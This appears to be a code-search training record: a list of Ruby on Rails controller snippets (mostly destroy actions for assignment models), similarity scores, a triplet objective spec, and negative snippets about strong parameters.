"def destroy\n @contract.contract_assignments.destroy_all\n @contract.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @device_assignment = DeviceAssignment.find(params[:id])\n @device_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to device_assignments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment = Assignment.find(params[:id])\n @cim_hrdb_person = @assignment.person\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to(edit_cim_hrdb_person_path(@cim_hrdb_person)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student_assignment.destroy\n respond_to do |format|\n format.html { redirect_to student_assignments_url, notice: 'Student assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment.destroy\n end",
"def destroy\n \n respond_to do |format|\n format.html { redirect_to group_assignments_url, notice: 'Group assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @techers_assignment.destroy\n respond_to do |format|\n format.html { redirect_to techers_assignments_url, notice: 'Techers assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type_of_assignment.destroy\n respond_to do |format|\n format.html { redirect_to type_of_assignments_url, notice: 'El Tipo de Asignacion ha sido eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roles_assignment.destroy\n respond_to do |format|\n format.html { redirect_to roles_assignments_url, notice: 'Roles assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n Log.new({user: current_user.user, \n subject: \"user:\"[email protected],\n operation: \"revoked access\",\n object: \"table:\"[email protected]\n }).save\n @assigned.destroy\n respond_to do |format|\n format.html { redirect_to assigneds_url, notice: 'Assigned was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity_participant_assignment.destroy\n respond_to do |format|\n format.html { redirect_to activity_participant_assignments_url, notice: 'Activity participant assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @case_assignment.destroy\n respond_to do |format|\n format.html { redirect_to case_assignments_url, notice: 'Case assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment_zone = AssignmentZone.find(params[:id])\n @assignment_zone.destroy\n\n respond_to do |format|\n format.html { redirect_to assignment_zones_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @feat_assignment.destroy\n respond_to do |format|\n format.html { redirect_to character_feat_assignments_path(@character) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @group = Group.find(params[:group_id])\n @assignment = @group.assignments.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to [:teacher, @group] }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assigned_project = AssignedProject.find(params[:id])\n @assigned_project.destroy\n\n respond_to do |format|\n format.html { redirect_to assigned_projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @event_assignment.destroy\n respond_to do |format|\n format.html { redirect_to event_assignments_url, notice: 'Event assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @instructor1 = Instructor1.find(params[:id])\n @instructor1.destroy\n\n respond_to do |format|\n format.html { redirect_to instructor1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @power_assignment = PowerAssignment.find(params[:id])\n @power_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to power_assignments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @group_assignment.destroy\n respond_to do |format|\n format.html { redirect_to group_assignments_url, notice: \"Group assignment was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n\t\[email protected]\n\n flash[:notice] = \"Your assignment has been deleted.\"\n \n redirect_to assignments_path(@contract)\n\tend",
"def destroy\n @assessment.destroy\n respond_to do |format|\n format.html { redirect_to course_assessments_url(@course), notice: 'Attempt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assessment.destroy\n respond_to do |format|\n format.html { redirect_to course_assessments_url(@course), notice: 'Attempt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @device_assignment.destroy\n respond_to do |format|\n format.html { redirect_to request.referer, notice: \"Device assignment was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment_log.destroy\n respond_to do |format|\n format.html { redirect_to assignment_logs_url, notice: 'Assignment log was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignmentstatus = Assignmentstatus.find(params[:id])\n @assignmentstatus.destroy\n\n unless @assignmentstatus.errors.empty?\n flash[:notice] = \"WARNING: Couldn't delete assignment status because:\"\n @assignmentstatus.errors.full_messages.each { |m| flash[:notice] << \"<br/>\" << m }\n end\n\n respond_to do |format|\n format.html { redirect_to(assignmentstatuses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @creator = @assignment.creator\n AssignmentMailer.destroy_mail(current_user, @creator, @assignment).deliver\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to assignments_url, :notice => \"Assignment has been destroyed\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assign.destroy\n respond_to do |format|\n format.html { redirect_to assigns_url, notice: 'Assign was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @essay = Essay.find(params[:id])\n @essay.destroy\n\n respond_to do |format|\n format.html { redirect_to assignment_essays_path(params[:assignment_id]) }\n format.json { head :no_content }\n end\n end",
"def delete_rejected\n @assignment = Assignment.find(params[:id])\n membership = StudentMembership.find(params[:membership])\n membership.delete\n membership.save\n redirect_to action: 'student_interface', id: params[:id]\n end",
"def destroy\n @assignment_special_assignment_frequency = Assignment::SpecialAssignmentFrequency.find(params[:id])\n @assignment_special_assignment_frequency.destroy\n\n respond_to do |format|\n format.html { redirect_to assignment_special_assignment_frequencies_url }\n format.json { head :ok }\n end\n end",
"def delete_permission_set_assignment(id:, **args)\n params = parameters(args) do\n required_params :user_id\n optional_params :user_id\n end\n request(:delete, \"permissionSets/#{id}/assignments\", params)\n end",
"def destroy\n @editability = Editability.find(params[:id])\n @editability.destroy\n\n respond_to do |format|\n format.html { redirect_to tests_url }\n format.json { head :no_content }\n end\n end",
"def delete_assignment(assignment_name)\n check_assignment(assignment_name)\n frm.button(:value=>\"Update\").click\n sleep 0.2\n frm.button(:value=>\"Delete\").click\n end",
"def destroy\n @assignment = Assignment.find(params[:id])\n @meeting = @assignment.assignable\n @assignment.destroy\n @meeting.destroy\n\n respond_to do |format|\n flash[:notice] = 'Meeting was successfully deleted.'\n format.html { redirect_to(meetings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @examination.destroy\n\n respond_to do |format|\n format.html { redirect_to @examination.project }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assessment = Assessment.find(params[:id])\n authorize! :destroy, @assessment\n\n @assessment.destroy\n\n respond_to do |format|\n format.html { redirect_to assessments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment = Assignment.find(params[:assignment_id])\n @note = @assignment.notes.find(params[:id])\n @note.destroy\n redirect_to assignment_path(@assignment)\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @ai_contest = AiContest.find(params[:id])\n @ai_contest.destroy\n\n respond_to do |format|\n format.html { redirect_to ai_contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment_employee.destroy\n respond_to do |format|\n format.html { redirect_to assignment_employees_url, notice: 'Assignment employee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @patient_provider_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to(patient_url(@patient)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @exercise_set = ExerciseSet.find(params[:id])\n @exercise_set.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_sets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exam = Exam.find(params[:id])\n @exam.destroy\n\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card_assignment.destroy\n respond_to do |format|\n format.html { redirect_to card_assignments_url, notice: 'Card assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment_upgrade.destroy\n respond_to do |format|\n format.html { redirect_to assignment_upgrades_url, notice: 'Assignment upgrade was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise_plan = ExercisePlan.find(params[:id])\n @exercise_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_plans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @evaluationstatus = Evaluationstatus.find(params[:id])\n @evaluationstatus.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluationstatuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @oncourse_exercise.destroy\n respond_to do |format|\n format.html { redirect_to oncourse_exercises_url }\n format.json { head :no_content }\n end\n end",
"def delete_assignment(assignment_name)\n frm.table(:class=>\"listHier lines nolines\").row(:text=>/#{Regexp.escape(assignment_name)}/).checkbox(:name=>\"selectedAssignments\").set\n frm.button(:value=>\"Update\").click\n frm.button(:value=>\"Delete\").click\n AssignmentsList.new(@browser)\n end",
"def destroy\n @assigned_owner.destroy\n respond_to do |format|\n format.html { redirect_to assigned_owners_url, notice: 'Assigned owner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @milestone = Milestone.find(params[:id])\n @milestone.destroy\n\n respond_to do |format|\n format.html { redirect_to goals_url }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def delete\n Submission.find(params[:id]).destroy\n redirect_to '/submissions'\n end",
"def test_delete_assignment\r\n\r\n number_of_assignment = Assignment.count\r\n number_of_duedate = DueDate.count\r\n id = Assignment.first(:conditions => {:instructor_id => users(:instructor3).id}).id\r\n post :delete, :id => id\r\n assert_redirected_to :controller => 'tree_display', :action => 'list'\r\n assert_equal number_of_assignment-1, Assignment.count\r\n assert_raise(ActiveRecord::RecordNotFound){ Assignment.find(id) }\r\n\r\n end",
"def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_exam = MyExam.find(params[:id])\n @my_exam.destroy\n\n respond_to do |format|\n format.html { redirect_to my_exams_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7463973",
"0.74596244",
"0.74596244",
"0.74497867",
"0.7383841",
"0.73820657",
"0.7366589",
"0.7366589",
"0.7360303",
"0.72292906",
"0.7200546",
"0.7143282",
"0.7112441",
"0.71040916",
"0.71015066",
"0.70903736",
"0.7065261",
"0.7049506",
"0.7049506",
"0.7049506",
"0.7049506",
"0.7049506",
"0.7049506",
"0.7039305",
"0.70124733",
"0.700594",
"0.69788116",
"0.69694954",
"0.696365",
"0.69450295",
"0.6941755",
"0.6932228",
"0.69275934",
"0.6894903",
"0.6875729",
"0.6874764",
"0.6842017",
"0.6841196",
"0.68317974",
"0.6823526",
"0.6819881",
"0.68167937",
"0.6774461",
"0.6743193",
"0.6716078",
"0.67053473",
"0.66921085",
"0.66866046",
"0.66651267",
"0.66380656",
"0.66315216",
"0.6627857",
"0.66238546",
"0.6599813",
"0.65846485",
"0.65739536",
"0.6558001",
"0.6530942",
"0.6510698",
"0.65055054",
"0.65004206",
"0.6453746",
"0.644493",
"0.644164",
"0.6436386",
"0.6436386",
"0.6426112",
"0.6414689",
"0.640933",
"0.63971895",
"0.63880974",
"0.6383892",
"0.63718665",
"0.6369981",
"0.63696337",
"0.6356043",
"0.63539356",
"0.6346806",
"0.6315052",
"0.63143605",
"0.63139004",
"0.62976557",
"0.6286615",
"0.6286599",
"0.6283499",
"0.62752986",
"0.6271046",
"0.62689203",
"0.62661326",
"0.6263232",
"0.62631196",
"0.6260261",
"0.62601787",
"0.62501967",
"0.6245494",
"0.62422884",
"0.62374884",
"0.62303644",
"0.6228971",
"0.62254596"
] |
0.6952718
|
29
|
Use callbacks to share common setup or constraints between actions.
|
def set_assignment
@assignment = Assignment.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def assignment_params
params.permit(:course_id)
params.permit(:grade_id)
params.permit(:assignment_grade => [:credit])
params.permit(:recent_review)
params.permit(:page)
params.require(:assignment).permit(:title, :description, :template, :example, :milestone_list, :due_at, :open_at,
:review_due_at,
:rubric_items_attributes=>[
:id, :title, :short_title, :show_for_feedback, :show_for_final,
:like_feedback_prompt,
:_destroy, :answer_attributes_attributes=>[:id, :description, :score, :attribute_type, :example, :_destroy]], :taggings_attributes=>[:id, :open_at, :close_at, :review_open_at, :review_close_at]) #don't allow user id. set to current user
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def valid_params_request?; end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
